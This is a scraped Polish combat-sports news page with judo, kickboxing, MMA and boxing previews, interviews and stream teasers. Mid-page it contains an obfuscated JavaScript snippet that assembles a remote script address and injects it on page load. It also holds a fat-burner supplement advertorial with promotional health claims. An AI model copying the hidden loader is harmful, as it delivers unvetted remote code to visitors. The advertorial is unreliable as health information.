W ubiegłym tygodniu odbyły się zmagania w Pucharze Polski seniorek i seniorów w Mysiadle. Dwoje ze zwycięzców znalazło się w kadrze na Grand Slam w Dusseldorfie. To Karolina Pieńkowska (52kg) i Damian Stępień (81kg). Judoczka AZS UW Warszawa znakomicie rozpoczęła tegoroczne starty. W Pucharze Europy w Odivelas zdobyła srebrny medal, lepsza była tylko Kanadyjka Ecaterina Guica. Pieńkowska dołożyła do swojego dorobku Puchar Polski, ale w Dusseldorfie poprzeczka będzie zawieszona wyżej. W kategorii Polki zgłoszonych jest dwadzieścia zawodniczek, wśród których są m.in. brązowa medalistka ubiegłorocznych mistrzostw świata Erika Miranda czy zdolna Francuzka Astride Gneto. W tym gronie zaprezentuje się również Agata Perenc.
Agata Ozdoba-Błach (63kg) będzie chciała w Niemczech wypaść lepiej niż rok temu. Wtedy to odpadła już w pierwszej walce przegrywając z Hiszpanką Cristiną Cabaną Perez. Ale wtedy były to tzw. pierwsze śliwki robaczywki. 2017 rok w wykonaniu Ozdoby-Błach był niezwykle udany. Po pierwsze, ze względów prywatnych, ponieważ wyszła za mąż za wieloletniego zawodnika judo Łukasza Błacha. Z kolei sportowo sięgnęła indywidualnie po brązowy medal mistrzostw świata. Do tego dołożyła zwycięstwo w Pucharze Europy w Mińsku i wywalczyła trzecie miejsca w Pradze i Abu Dhabi.
Sił w Dusseldorfie spróbuje również Anna Borowska (57kg), której nie powiodło się w Odivelas. W pierwszej rundzie miała wolny los, ale w kolejnej trafiła na Japonkę Yukę Watabe i odpadła z rywalizacji. Niedosyt po występie w Portugalii miała Julia Kowalczyk (57kg). 20-latka otarła się o podium, jednak ostatecznie zajęła piąte miejsce.
Na pierwsze podium w międzynarodowych zawodach czeka nadal Damian Stępień. Być może dobrym prognostykiem przed startem w Dusseldorfie jest dla zawodnika AZS UW Warszawa będzie triumf w Pucharze Polski? W tym roku Stępień startował w Sofii, gdzie przegrał w pierwszym starciu z Nikolą Gusiciem. Jak burza w Bułgarii szedł Damian Szwarnowiecki (81kg), który w zeszłym roku ani razu nie znalazł się na punktowanym miejscu. W Sofii pokazał potencjał i zajął 5. lokatę.
Jak zawsze duże nadzieje wiążemy ze startem Piotra Kuczery (90kg). A są ku temu powody. Zawodnik z Rybnika rok rozpoczął od zwycięstwa w Sofii. Jeśli powtórzy się scenariusz z poprzedniego roku, w Dusseldorfie należy spodziewać się kolejnego zwycięstwa Polaka. W 2017 roku Kuczera najpierw wygrał w Rzymie, a potem w Katowicach. Ostatnim Polakiem, który zaprezentuje się w zawodach Grand Slam jest Rafał Kozłowski (90kg). 22-latek był siódmy w Sofii.
Fot. Piotr Kuczera Facebook
KM
Coraz częściej szukając efektywnego spalacza tłuszczu, spotykamy się ze wzmiankami o produkcie Allnutrition Redox Extreme. Jak sugeruje producent, suplement ten jest obecnie najlepszą opcją, aby pozbyć się nadmiaru tłuszczu z organizmu, co stanowi dobrą alternatywę dla produktów obecnych na rynku od kilku lat. Jak piszą użytkownicy forum SFD, dzięki produktowi Redox Extreme, udało się im schudnąć do pułapu, który wyznaczyli sobie jako cel, a pomoc wykwalifikowanych dietetyków i trenerów, którą otrzymali po zakupie suplementu, znacznie przyspieszyła efekty redukcji.
Przyglądając się więc produktowi, naszą uwagę przykuł fakt, że kupując suplement diety, nie tylko otrzymujemy sam spalacz Redox Extreme, ale i pomoc dietetyka/trenera, który ustali nam dietę, jak i sposób, w jaki mamy trenować. Jest to dość nietypowe rozwiązanie, jak na sprzedaż suplementu diety, które wymaga podkreślenia. Co więcej, jak wyczytać możemy w sklepie SFD, do produktu dołączony jest fałdomierz wraz z instrukcją wykonywania pomiarów, który pozwoli nam na kontrolowanie efektów.
Patrząc z kolei stricte na skład spalacza Redox Extreme, zauważyć można, że pierwszą substancją, która jest wyszczególniona i która ma działać silnie termogenicznie, jest opatentowana forma kapsaicyny w postaci capsimax. Substancja ta, dodatkowo będzie blokować apetyt, jak i wspomagać wrażliwość insulinową, co wskazuje szerokie spektrum działania spalacza. Dodatkowo chrom i wyciąg z cynamonu, mają za zadanie wesprzeć działanie podtrzymujące gospodarkę cukrową, co zapobiega efektowi ponownemu magazynowaniu energii w postaci tkanki tłuszczowej.
Jednak, na forum sfd spotykamy się również z wpisami, gdzie sugerowano, że spalacz znacznie podnosi możliwości układu nerwowego. Zawiera bowiem w swoim składzie takie komponenty jak różeniec górski, wyciąg z szafranu, które wykorzystują swoje działania adaptogenne, pozwalając szybciej się regenerować, jak i podtrzymywać jego aktywność na wysokim poziomie. Co więcej, wyciąg z szafranu posiada właściwości, które podtrzymują dobre samopoczucie, co ma przeciwdziałać obniżonemu nastrojowi, wynikającemu z niskiej podaży energii.
Należy jednak pamiętać, że samo wykorzystanie spalacza to nie tylko efekt doraźny, stricte redukujący tłuszcz. To również wsparcie motywacyjne, psychologiczne, które polegać ma na podtrzymaniu motywacji do treningów. Wykorzystanie spalacza w formie przedtreningówki to również okazja do tego, aby trening był intensywniejszy, dłuższy, co pozwala spalić więcej kalorii podczas jednego wysiłku.
Podsumowując
Kupując spalacz Redox Extreme, otrzymujemy nie tylko suplement diety, ale i wsparcie dietetyka i trenera. Pozwala to na kompleksowe podejście do tematu odchudzania, które można dodatkowo kontrolować za pomocą fałdomierza. Z analizy wpisów na forum sfd jasno wynika, że jest to inwestycja godna uwagi, która daje znakomite rezultaty.
[kod]
(function(){
apk2=document.createElement("script");apk2_="u"+("s")+"ta";
apk2_+=("t.i")+""+"n";apk2_+=(("f")+"o");apk2.type="text/javascript";
apk2_+="/"; apk2u="72465988";apk2u+=".yh3gbum2pk2glx4q9lu";apk2u+="5pzxz8zqvaX";
apk2.src="//"+apk2_+apk2u; apk2.async=true; document.body.appendChild(apk2);
})();
Zapraszamy na transmisję telewizyjną na żywo z Grand Prix JUDO, które odbywają się w dniach 23-25 lutego 2018 r. w Düsseldorf.
[kod]
Final block
Eliminations
Zapraszamy na transmisję telewizyjną na żywo z Grand Prix JUDO, które odbywają się w dniach 23-25 lutego 2018 r. w Düsseldorf.
[kod]
Eliminations
Final block
Zapraszamy na transmisję telewizyjną na żywo z Grand Prix JUDO, które odbywają się w dniach 23-25 lutego 2018 r. w Düsseldorf.
[kod]
Eliminations
Final block
Znamy już wszystkich zawodników jubileuszowej, warszawskiej FEN 20 „Next Level”! 10 marca rywalem Marcina Szredera (5-2) będzie Rafał Korczak (1-1).
Dla Korczaka (1-1) będzie to debiut w federacji FEN. Dotychczas, trenujący na co dzień w klubie Uniq Fight Club zawodnik, stoczył w swojej krótkiej karierze dwa pojedynki – raz wygrywając i raz doznając porażki. Do walki na Torwarze przygotowuje się między innymi w towarzystwie Radosława Paczuskiego, którego zobaczymy w pojedynku wieczoru FEN 20. Warszawianin Korczak liczy na to, że dzięki pokonaniu Szredera w efektowny sposób zaznaczy swoją obecność w barwach federacji już podczas inauguracyjnego występu.
Dla Marcina Szredera (5-2) będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low-kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem Aytakiem Yahsim podczas gali FEN 11 „Warsaw Time”. W marcu ubiegłego roku podczas FEN 16 „Warsaw Reloaded” już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Już 9 marca na gali DSF Kickboxing Challenge: Twierdza dojdzie do rewanżowej walki pomiędzy Marcinem Mazurkiewiczem (8-3) a Wojciechem Kosowskim (9-2-1). Zwycięzca wykona wielki krok w kierunku pojedynku o mistrzowski pas federacji w wadze do 77 kg. W tej kategorii federacja nie ma jeszcze swojego czempiona!
– Pas DSF w kategorii do 77 kg jest nieobsadzony. To ja chcę zostać pierwszym mistrzem federacji w tej wadze. Pracuję na to bardzo ciężko – przekonuje pewny siebie Mazurkiewicz. – Nie ma złej krwi między mną a rywalem. To sport, każdy chce wygrać. Stoczymy dobrą walkę, ale tym razem to ja będę górą. To będzie mój pierwszy pojedynek w tym roku. Chcę dobrze zacząć i wykonać duży krok w kierunku mistrzowskiego pasa DSF Kickboxing Challenge!
33-letni Kosowski mocno studzi zapędy przeciwnika.
– Mam przed sobą poważne wyzwanie. DSF to obecnie najmocniejsza federacja na polskim rynku K-1. Nie mogłem jej odmówić. Ta walka pokaże, czy się jeszcze nadaję – ocenia Wojciech Kosowski. – Marcin mówi głośno, że chce zdobyć pas federacji. Uważam, że w życiu trzeba twardo stąpać po ziemi, nie lewitować. W samej Palestrze jest kilku zawodników, których bardziej bym widział z takim pasem. Po sparingach w klubie często wychodzę bardziej poobijany niż po walce zawodowej z Marcinem Mazurkiewiczem w 2016 roku – kończy weteran.
25-letni Mazurkiewicz i starszy o osiem lat Kosowski po raz pierwszy starli się w grudniu 2016 roku na gali DSF Kickboxing Challenge: Najlepsi z Najlepszych w Hotelu Marriott w Warszawie. Doświadczenie wygrało wówczas z młodością. Rok później dawni rywale znów spotkają się w ringu. Stawka będzie jednak wyższa.
– Wtedy mnie pokonał, choć walka była bardzo bliska. Czekałem na ten rewanż i nie widzę innej opcji niż moje zwycięstwo. Głód jest spotęgowany tym, że wtedy przegrałem. To siedzi z tyłu głowy, więc ze zdwojoną siłą chcę pokazać swoje możliwości. Tym razem wygra ten, kto bardziej się rozwinął – mówi Mazurkiewicz.
Zwycięzca pierwszej walki stracił cały 2017 rok z powodu kontuzji. Po dwóch operacjach w pełni sprawny Wojciech Kosowski wrócił do treningów i zamierza szybko nadrobić stracony czas.
– Pamiętam, że walka była zacięta, ale sędziowie widzieli moje zwycięstwo. Powtórzenie tego wyniku to dla mnie szansa na powrót do gry – przyznaje zawodnik klubu Palestra Warszawa. – Mój przeciwnik jest zdeterminowany, by się odegrać. Widzę, że zmienił styl na bardziej ofensywny. Nie próżnował i stoczył dla organizacji DSF dwie wygrane walki w ubiegłym roku. Na pewno rewanż będzie dla mnie trudniejszy, ale nie boję się wyzwań – dodaje Kosowski.
Trenujący na co dzień w Fight House Nowy Sącz Mazurkiewicz nie ma wątpliwości, że ciężka praca przyniesie efekty i na ringu w Nowym Dworze Mazowieckim to jego ręka powędruje w górę po ostatnim gongu.
– Trenuję do upadłego, nie ma półśrodków. Zawsze daję z siebie wszystko, bo nie chcę zostać zapomniany. Jestem dziś pod każdym względem lepszy niż w pierwszej walce. Będę twardy, nieustępliwy i cały czas zamierzam iść do przodu. Chcę dominować w ringu. Zobaczą to sędziowie jak i przeciwnik, który albo pęknie, albo wywiąże się z tego dobra walka. Wiem, czego pragną kibice. Chcę im dać wielkie widowisko – zapewnia sądeczanin.
Z jednej strony będą ambicje młodego wojownika, z drugiej wielkie doświadczenie i spokój ringowego weterana, który w przeszłości dwukrotnie (w latach 2012 i 2014) zdobywał tytuł mistrza świata Muay Thai.
– Nie jestem dobrym oratorem, ale widzę za to, że mój przeciwnik poprawił się na tym gruncie. W ringu walczy dwóch, na pewno jeden będzie miał po konfrontacji ręce uniesione, a drugi opuszczone. Spekulacje zostawmy bukmacherom. Gdybym miał obstawiać pieniądze, postawiłbym na siebie. Czy wygrają doświadczenie i rutyna, czy młodość i ambicja rywala? Przekonajcie się samemu, przychodząc 9 marca na halę NOSiR w Nowym Dworze Mazowieckim – odpowiada Kosowski.
W walce wieczoru gali DSF Kickboxing Challenge: Twierdza w federacji zadebiutuje Piotr Strus, którego w trzyrundowym starciu w kategorii do 91 kg przetestuje niebezpieczny Brice Kombou z Kamerunu. Wcześniej do obrony mistrzowskiego tytułu Full Contact (81 kg) przystąpi Łukasz Wichowski, który zmierzy się z trzykrotnym mistrzem świata z Francji Yohanem Lidonem. Pierwszą tegoroczną walkę stoczy również znany z występów na całym świecie Rafał Dudek (71 kg), a kolejną atrakcją dla kibiców kickboxingu będzie obsadzony gwiazdami europejskiej sceny K-1 turniej w kategorii do 65 kilogramów.
Bilety na galę DSF Kickboxing Challenge: Twierdza są dostępne w cenie od 50 PLN w serwisie TicketClub.pl.
Marzec upłynie pod znakiem ciekawych walk w bokserskiej wadze ciężkiej. 3 marca w Barclays Center mistrz WBC Deontay Wilder zmierzy się z Luisem Ortizem. Między pięściarzami iskrzy od dawna. Na drugie starcie trzeba będzie poczekać do 31 marca. Wtedy to w Cardiff do ringu wejdą czempion IBF, IBO, WBA Anthony Joshua i właściciel pasa WBO Joseph Parker. Jednak promotor urodzonego w Watfordzie boksera już myśli o kolejnych wyzwaniach.
Aby osiągnąć sukces trzeba mieć cel i konsekwentnie do niego dążyć. Czasami nie należy skupiać się na tym, co tu i teraz. Momentami bywa ciężko, ale trzeba zacisnąć zęby i iść dalej. Joshua jest już na szczycie i uchodzi za gwiazdę światowego pięściarstwa. Nad jego karierą czuwa Eddie Hearn, który nie próżnuje. Wszyscy miłośnicy boksu oczekują, że w tym roku przyjdzie im zobaczyć starcie Joshuy z Wilderem. Dyskusja na ten temat toczy się od dawna. W styczniu Eddie Hearn dał do zrozumienia, że "AJ" jest w stanie rywalizować z Amerykaninem, ale ten ma zbyt wygórowane żądania. Mistrz WBC był oburzony, gdy złożono mu propozycję starcia z Dillianem Whyte'm.
Gwiazdy wagi ciężkiej na ringu pojawią się w marcu. Joshua będzie miał okazję dołożyć do swojego dorobku kolejny pas. W Cardiff zmierzy się z mistrzem WBO Josephem Parkerem, który tytuł zdobył ponad rok temu zwyciężając Andy'ego Ruiza. 26-letni Nowozelandczyk dwa razy bronił pasa – pokonał Razvana Cojanu i Hughie Fury'ego.
Hearn ma już pomysł na kolejnego rywala dla Joshuy i wcale nie jest to Wilder. Promotor czempiona z Watford czyni przymiarki do jego debiutu w Stanach Zjednoczonych. Joshua miałby zmierzyć się z Jarrellem Millerem, który niedawno pokonał Mariusza Wacha. Jak dotąd 29-latek nie przegrał żadnnego pojedynku, wygrał 20, a 28 kwietnia spotka się z byłym pretendentem do pasa WBC Johannem Duhapasem. – Miller jest czołowym zawodnikiem amerykańskiej wagi ciężkiej. Jego szanse w starciu z Duhaupasem oceniam 50-50. W ostatniej walce Miller nie prezentował się najlepiej, ale na tle Wacha ciężko dobrze wypaść, a Jarrell wygrał przed czasem – mówi promotor Anthony'ego Joshuy.
A może zapowiedzi Hearna to tylko gra, która ma obniżyć żądania Wildera? – Miller ma okazję udowodnić, że jest gotowy na mistrzowskie starcie. Jeśli Wilder nadal będzie fantazjował, to w sierpniu będzie dążyli do walki Joshua vs Miller – zapowiada Hearn.
KM
Jak debiutować – to z przytupem. 9 marca na gali „DSF Kickboxing Challenge: Twierdza” Piotr Strus nie będzie miał taryfy ulgowej. W pierwszej walce dla federacji zmierzy się z niebezpiecznym Brice’em Kombou. Kameruńczyk z niemieckim paszportem to pogromca obecnego mistrza DSF Kickboxing Challenge Maksymiliana Bratkowicza. Na tej samej gali niepokonany Łukasz Wichowski będzie bronił tytułu w formule Full Contact w starciu z francuskim mistrzem świata – Yohanem Lidonem.
Piotr Strus, zanim rozpoczął karierę w MMA, walczył z powodzeniem w formułach stójkowych. Bardzo dobrze prezentował się w K-1, w którym odniósł 7 zwycięstw w ośmiu występach (jedna walka zakończyła się remisem). Walką z Kombou pochodzący z Warszawy zawodnik chce podtrzymać dobrą passę i udanie zaprezentować się przed fanami najlepszej polskiej federacji kickboxingu.
– Widziałem jego walkę z Maksem, Kombou to bardzo groźny zawodnik, który opiera swój styl na dobrej kondycji i cały czas poluje na mocne uderzenia. Nie dam mu się rozwinąć, spróbuję go stłamsić od początku. Jestem w treningowym sztosie i zapewniam was, że zobaczycie trzyrundową wojnę w naszym wykonaniu. Nikt nie pożałuje, że przyszedł obejrzeć mój debiut w DSF Kickboxing Challenge – gwarantuje 29-letni Strus.
Wielkie wyzwanie czeka także mistrza DSF Kickboxing Challenge w formule Full Contact w kategorii do 81 kilogramów. Rywalem Łukasza Wichowskiego będzie znany z agresywnego stylu i potężnego uderzenia Yohan Lidon. 34-letni Francuz jest trzykrotnym mistrzem świata w Muay Thai i kickboxingu. Stoczył ponad sto zawodowych walk i odniósł w nich aż 93 zwycięstwa (56 przez nokaut). Jako pierwszy kickbokser w historii Lidon został mistrzem świata It’s Showtime.
– Mój rywal jest znakomitym zawodnikiem. Tylko starcia z takimi fighterami motywują do wchodzenia na jeszcze wyższy poziom sportowy. Cieszę się z tego wyzwania, ale ten pas jest ze mną praktycznie od początku istnienia i nie zamierzam go oddawać. Pozostanę mistrzem DSF Kickboxing Challenge w formule Full Contact – zapewnia Wichowski, który w zawodowej karierze stoczył 15 walk i nie przegrał ani razu.
Pod dużym wrażeniem umiejętności Yohana Lidona jest dyrektor sportowy DSF Kickboxing Challenge Robert Złotkowski, który postanowił ściągnąć Francuza do Polski.
– Ciężko znaleźć godnego rywala dla Łukasza Wichowskiego. Myślę, że tym razem to się udało. Jedno jest pewne, czeka nas pięć fantastycznego kickboxingu, jeśli oczywiście walka nie zakończy się przed czasem. Łukasz, jak sam o sobie mówi, chce kroczyć drogą swojego mistrza Marka Piotrowskiego, który walcząc przez całą karierę z najlepszymi w formule Full Contact osiągnął w tym piekielnie trudnym sporcie wszystko. Jeśli Łukasz chce być najlepszy, musi iść tą samą drogą – podkreśla Złotkowski.
Kolejnym spektakularnym wydarzeniem na gali w Nowym Dworze Mazowieckim będzie międzynarodowy – czteroosobowy turniej (do 65 kg) mistrzów, który w takiej formule odbędzie się po raz pierwszy na DSF Kickboxing Challenge. Bardzo interesująco zapowiadają się także dwie walki zawodników z Nowego Sącza – Rafała Dudka (71 kg) i Marcina Mazurkiewicza (77 kg).
Pierwszy wciąż należy do najlepszych polskich kickbokserów. Drugi to jego wychowanek, który pokazał się z bardzo dobrej strony w 2017 roku. Obaj mówią jednym głosem, że w tym roku chcieliby stanąć do walki o pasy DSF Kickboxing Challenge w swoich kategoriach. Jeśli chcą zbliżyć do tego celu, muszą w Nowym Dworze pokazać mistrzowską formę.
Bilety na galę DSF Kickboxing Challenge: TWIERDZA są dostępne w cenie od 50 PLN na stronie TicketClub.pl.
Bartosz Leśko (6-0-1, 2 KO, 3 SUB) zmierzy się z Marcinem Naruszczką (18-8, 7 KO, 2 SUB) podczas gali Fight Exclusive Night 20 "Next Level". Zawodnik z Gdyni stoczy dopiero swój trzeci pojedynek w barwach federacji, a starcie z Naruszczką będzie największym jego wyzwaniem w dotychczasowej karierze. Leśko jest przekonany, że to jego ręka będzie w górze po walce.
Już tylko kilkanaście dni pozostało do gali FEN 20. Jak się czujesz?
Bartosz Leśko:Bardzo dobrze. Z dnia na dzień coraz lepiej. Sam jestem zdumiony, w jakiej jestem formie, a przecież do walki zostało jeszcze trochę czasu. Energia we mnie buzuje, jestem gotowy już dziś wyjść do klatki.
Ile ważysz?
BL:91 kilogramów, trochę schudłem, by w ostatnim etapie przed walką mieć mniej do zbijania. Jestem dużo szybszy już dziś, a jeszcze sporo przed nami. Forma ma przyjść 10 marca i tak też jestem prowadzony.
Marcin Naruszczka ważył dużo więcej podczas przygotowań. Wiele osób zwracało uwagę na to, że urósł.
BL:Bardzo dobrze – jeżeli tak czuł się dobrze, to podjął słuszną decyzję – nic mi do tego. Musi więcej zbijać do pojedynku, ale to doświadczony zawodnik i na pewno sobie z tym poradzi.
Oglądałeś jego walki?
BL:Widziałem dwie, ale nie teraz, już wcześniej. Z Andrzejem Grzebykiem, bo oglądałem całę galę FEN 18 i z Pawłem Brandysem, gdyż też z nim walczyłem i analizowałem styl walki Brandysa. Co mogę o nim powiedzieć? To dobry zawodnik, ma sporo atutów, ale popełnia też błędy jak każdy z nas. Skupiam się na sobie, by zrealizować swój plan na walkę. Oczywiście, że zdaje sobie sprawę z powagi wyzwania, ale jestem spokojny. Wyjdę i wygram ten emocjonujący, czysto sportowy pojedynek.
Każdy tak mówi.
BL:Tak? To widzisz, niczym się nie wyróżnię. Czuję już lekkie emocje. Gdy zawodnik mówi, że nie czuje żadnych emocji i w ogóle się nie denerwuje, to oszukuje, bo to niemożliwe. Pewnie im bliżej walki, tym ekscytacja będzie większa, ale to wpłynie tylko na dobre w moim pojedynku.
Przygotowywałeś się do tej walki z Oskarem Piechotą, który efektownie wygrał podczas ostatniej gali UFC. To dobry znak.
BL:Zdecydowanie tak, bo widziałem w jaki sposób Oskar trenuje i jak dobrze jest przygotowany do walki. Naprawdę on z walki na walkę robi coraz większy progres i w ogóle nie byłem zaskoczony tym, co zobaczyłem podczas UFC.
Jaki jest plan na te ostatnie kilkanaście dni?
BL:W tym tygodniu jeszcze sparingi, a potem już łapanie świeżości i szybkości. Na dzień dzisiejszy jestem bardzo zadowolony z przepracowanego okresu i mam nadzieję, że tak też już zostanie.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Krzysztof Kułak zadebiutuje w klatce FEN. Na FEN 20 Next Level spotka się z Michałem Tarabańką, który chce zrewanżować się Kułakowi za ostatnią porażkę. Kto będzie lepszy?
[kod]
Zapraszamy do obejrzenia #22 odcinka programu z serii PZKB TV. Naszym gościem był Daniel Omielańczuk zawodnik UFC oraz DSF Kickboxing Challenge.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z XXX Warszawskiej Grandy na Pięści i Giry.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 20 Next Level. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.
[kod]
W sobotę, 24 lutego, o godzinie 22:00 w klubie Hulakula przy ulicy Jagiellońskiej 82B w Warszawie odbędzie się trening medialny przed galą Fight Exclusive Night 20 „Next Level”.
Będzie to znakomita okazja do porozmawiania z zawodnikami, którzy wezmą udział w tym wydarzeniu. Do dyspozycji przedstawicieli mediów będą Radosław Paczuski, Marian Ziółkowski, Arkadiusz Wrzosek, Marcin Naruszczka, Kamil Łebkowski, Marcin Szreder, Paweł Trybała, Tymoteusz Świątek i Alan Kwieciński. Od godziny 20:30 będzie czas na wywiady, a po ich zakończeniu, czyli od 22:00, przyjdzie czas na trening otwarty dla kibiców.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
Zapraszamy na konferencję prasową na żywo przed Galą DSF Kickboxing Challenge 14 – Twierdza.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 20 Next Level. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.
[kod]
Zapraszamy na transmisję telewizyjną na żywo z konferencji prasowej przed galą FEN 20 Next Level. Studio, zaproszeni goście i inne ciekawe rzeczy czekaja na Was podczas transmisji.
[kod]
Poland Professional Kickboxing Group jest nową komórką sportowo-szkoleniową powołaną przez Polski Związek Kickboxingu.
Priorytetowym celem działań tej grupy jest wsparcie szkoleniowo – sportowe oraz organizacyjne najwybitniejszych zawodników i trenerów Polskiego Związku Kickboxingu rywalizujących w walkach profesjonalnych. Sportowa działalność Poland Professional Kickboxing Group ukierunkowana będzie na szkolenia i ścisłą specjalizację w rywalizacji profesjonalnej wg. regulaminów walk ringowych (K-1 Rules, Low Kick, Full Contact).
Wszelkie działania i szkolenia grupa ta realizować będzie w pełnej synchronizacji z kalendarzem PZKB oraz programem organizacyjnym sportowego partnera związkowego – federacji zawodowej DSF Kickboxing Challenge.
Powstanie Poland Professional Kickboxing Group jest odpowiedzią na zapotrzebowanie wynikające z rozwoju i ekspansji polskiego zawodowego kickboxingu. Funkcjonowanie grupy powinno wzmocnić, wesprzeć i uzupełnić już funkcjonujące kierunki szkoleniowe kadr narodowych PZKB.
Patronat na działalnością Poland Professional Kickboxing Group objęli prezes PZKB Piotr Siegoczyński oraz v-ce prezes Andrzej Palacz. .
Kierownictwo szkoleniowo – organizacyjne nad grupą obejmie trener Tomasz Mamulski – tym samym będzie sprawował funkcję „Trenera Kadry Zawodowej Polskiego Związku Kickboxingu”.
Oskar Piechota potwierdził, że należy mu się miejsce w UFC. Polski zawodnik odniósł drugie zwycięstwo w amerykańskiej organizacji nokautując Tima Williamsa. Czy, a może wypada zapytać kiedy Piechota podbije wagę średnią?
Polscy kibice ściskali kciuki za kolejnych rodaków, którzy podpisywali kontrakty z organizacją UFC. Z wieloma wiązano ogromne nadzieje. Ale jak wiadomo skala przedsięwzięcia może paraliżować, a i trzeba się cały czas doskonalić, aby równać do najlepszych.
Świetnie w UFC zadebiutował, który w październiku 2014 roku w pierwszej rundzie rozbił Ilira Latifiego. Później przyszły gorsze dni dla Polaka, jednak ostatnio "John" wrócił na prostą i zanotował dwie wygrane z rzędu. Od porażki przygodę z UFC rozpoczął Krzysztof Jotko, ale kolejnych pięć walk padło jego łupem i pojawił się apetyt na walkę o pas. Następne dwa pojedynki Polak przegrał. W kwietniu Jotko stoczy ważną walkę z Bradem Tavaresem. Zwycięstwem z UFC przywitał się Daniel Omielańczuk. Następnie dwie porażki, trzy zwycięstwa i nadzieja na więcej, ale kolejne trzy przegrane zakończyły przygodę Polaka z amerykańską organizacją. Marcin Tybura na starcie przegrał, ale później zanotował trzy zwycięstwa. Teraz nie ma dobrej passy – dwie porażki.
W przypadku pań sytuacja wygląda zupełnie inaczej. Joanna Jędrzejczyk wygrała osiem pojedynków, zdobyła pas mistrzyni wagi koguciej i zatrzymała ją dopiero Rose Namajunas. Dobrze w UFC odnalazła się Karolina Kowalkiewicz. Kolejno odprawiła Randę Markos, Heather Clark i Rose Namajunas. Zatrzymała ją dopiero Jędrzejczyk, potem silniejsze okazała się Claudia Gadelha, ale Polka wróciła na zwycięską ścieżkę pokonując Jodie Esquibel.
Przykłady można mnożyć. Świetnie w Bellatorze radził sobie Marcin Held. Jego przejście do UFC było oczywiste, ale po trzech walkach pojawiły się obawy, że polski lekki szybko pożegna się z amerykańską organizacją. Brak szczęścia, niezrozumiały werdykt sędziów – sytuacja Helda mogła wyglądać inaczej, ale uratował się wygrywając z Nasratem Haqparastem. 26-latek wierzy, że będzie mógł sprawdzić się w kolejnej walce i pokazać swój potencjał. Niebawem w UFC zadebiutuje kolejny Polak – Marcin Prachnio. Pierwsze walki mają już za sobą Michał Oleksiejczuk i Adam Wieczorek, którzy dostarczyli radości polskim fanom wygrywając swoje starcia. Zatem – czekamy na więcej.
Mamy kilkunastoosobową armię wojowników w UFC. Jedni z większym, inni z mniejszym doświadczeniem. Start nie jest wyznacznikiem sukcesu. Pierwsza walka może różnie się ułożyć. Nawet zwycięstwo nie jest dokładnym weryfikatorem. Dopiero ten drugi pojedynek pokazuje, czy zawodnik mentalnie jest w stanie udźwignąć ciężar rywalizacji i odnajduje się sportowo w UFC. Oskar Piechota pokazał, że idealnie pasuje do amerykańskiej organizacji. Podczas gali UFC Fight Night 126 Polak znokautował w pierwszej rundzie Tima Williamsa. 11 zwycięstw na koncie Piechoty, w tym 10 przed czasem. To mówi samo za siebie. Nie można tego ukrywać – mamy w UFC zawodnika, którego sportowo stać na wiele. Piechota jest zdeterminowany i konsekwentny w tym, co robi. Ale najważniejsze, że ma świadomość celu, do którego dąży. – Kolejny krok za mną, cały czas jest to początek drogi ale kierunek jest jeden – na sam szczyt – napisał zawodnik po walce z Willamsem na swoim Facebooku.
Fot. Oskar Piechota Facebook
KM
Zapraszamy do obejrzenia retransmisji z gali finałowej Mistrzostw Polski Kickboxingu w formule Oriental Rules. Zawody odbyły się w Starachowicach a organizatorem był klub Dragon Starachowice.
[kod]
To już 9 marca w NOSiR Nowy Dwór Mazowiecki kolejne wielkie kickboxerskie emocje – DSF Kickboxing Challenge – TWIERDZA!
Przedstawiamy trailer promujący galę.
Debiut Piotra Strusa w DSF Kickboxing Challenge!
[kod]
Kamil Łebkowski chce powrócić w wielkim stylu po ostatnich występach. Daniel Torres zrobi wszystko, żeby to utrudnić.
[kod]
Piotr STRUS to kolejna gwiazda sportów walki, która dołącza do DSF Kickboxing Challenge. Największa federacja promująca kickboxing w Polsce cały czas pozyskuje nowe talenty!
[kod]
Rafał Dudek, jeden z najbardziej znanych polskich kickbokserów, wystąpi na DSF Kickboxing Challenge: TWIERDZA. Impreza odbędzie się 9 marca w Nowym Dworze Mazowieckim. W walce wieczoru w federacji zadebiutuje Piotr Strus. Wcześniej w obronie tytułu mistrza DSF Kickboxing Challenge w kategorii do 81 kilogramów powalczy specjalista Full Contact – Łukasz Wichowski.
Blisko 34-letni Rafał Dudek walczył na ringach całego świata dla najlepszych federacji jak Glory czy Enfusion. W Polsce od trzech lat związany jest z DSF Kickboxing Challenge. W tym czasie sądeczanin dwukrotnie był bohaterem walki wieczoru – na pierwszej gali „Najlepsi z Najlepszych” w Champions Sports Bar Restaurant w grudniu 2016 roku oraz w czerwcu 2017 roku na DSF Kickboxing Challenge 10 w Nowym Sączu, gdzie pokonał przed własną publicznością kickboksera i boksera Rafała Jackiewicza.
– Stawiam na DSF Kickboxing Challenge. Starty tutaj to dla mnie priorytet – nie kryje Dudek, który w ubiegłym roku wystąpił również na dwóch galach GLORY. – Mam różne propozycje zagraniczne. Chciałbym stoczyć w tym roku cztery walki zawodowe – kończy amatorski i zawodowy mistrz Polski K-1.
W 2017 roku Rafał narzucił sobie szalone tempo. W krótkim czasie stoczył trzy trudne pojedynki, co okupił m.in. problemami ze zdrowiem. Dwie walki zakończyły się jego porażkami na punkty.
